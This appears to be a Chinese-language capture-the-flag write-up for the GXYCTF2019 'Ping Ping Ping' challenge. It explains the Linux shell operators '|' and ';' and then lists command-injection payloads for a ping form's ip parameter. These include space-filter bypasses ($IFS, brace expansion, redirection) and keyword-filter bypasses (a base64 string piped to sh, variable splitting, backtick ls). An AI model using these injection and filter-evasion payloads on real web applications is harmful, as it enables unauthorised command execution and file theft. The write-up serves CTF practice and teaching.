[GXYCTF2019]Ping Ping Ping 1
[GXYCTF2019]Ping Ping Ping 1
審題
-
由標題和內容,我們可以想到Linux的命令執行。
-
并且由內容/?ip=,看出用GET注入ip變量來讀取flag
知識點
Linux的命令執行,空格的繞過
知識點詳解
在Linux中,豎線符號 "|" 和分號符號 ";" 具有不同的作用。
-
豎線符號 "|" (管道符號): 在Linux命令行中,豎線符號 "|" 用于將一個命令的輸出作為另一個命令的輸入。通過使用管道符號,可以將多個命令連接起來,實現數據流的傳遞和處理。
例如:
command1 | command2
這將會將 command1 的輸出作為 command2 的輸入,從而實現兩個命令之間的數據傳遞和處理。
管道符號的作用是實現命令的組合和協作,常用于對命令的輸出進行過濾、排序、統計等操作。
分號符號 ";" : 在Linux命令行中,分號符號 ";" 用于分隔多個命令,使它們依次執行。
例如:
-
command1 ; command2 ; command3這將會按照順序執行
command1、command2和command3,每個命令之間使用分號進行分隔。分號符號的作用是允許在一行命令中連續執行多個命令,無論前一個命令是否成功執行,都會繼續執行后續的命令。
需要注意的是,在使用這些符號時,應根據具體的需求和命令語法進行正確的使用,以確保命令的執行效果符合預期。
空格被過濾時
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$1flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20轉換成字符串就是空格,這里通過變量的方式巧妙繞過)
解題
- 先使用127.0.0.1判斷回顯是否正常
- 使用Linux命令,查看當前目錄下的所有文件
- 使用cat命令抓取flag
- 發現空格被過濾后,繞過空格,經過嘗試使用$IFS$1繞過,但又發現flag被過濾。
- 繞過flag有幾種方法
一,base64繞過
將cat flag.php通過base64加密后可以構造出
echo$IFS$1Y2F0IGZsYWcucGhwCg==|base64$IFS$1-d|sh
執行后查看源碼得到答案。
二,shell定義變量
因為題目過濾了flag所以將ag用一個變量代替可以繞過
1;b=ag;cat$IFS$1fl$b.php
同樣查看源碼得到答案
三,在shell中``中的返回值會被當成命令執行
1;cat$IFS$1`ls`
所以上面的命令可以看成,cat出當前目錄的所有文件。
就是,cat flag.php和index.php,得到flag。
總結
以上是生活随笔為你收集整理的[GXYCTF2019]Ping Ping Ping 1的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 中文语音识别转文字的王者,阿里达摩院Fu
- 下一篇: 深入理解JavaScript堆栈、事件循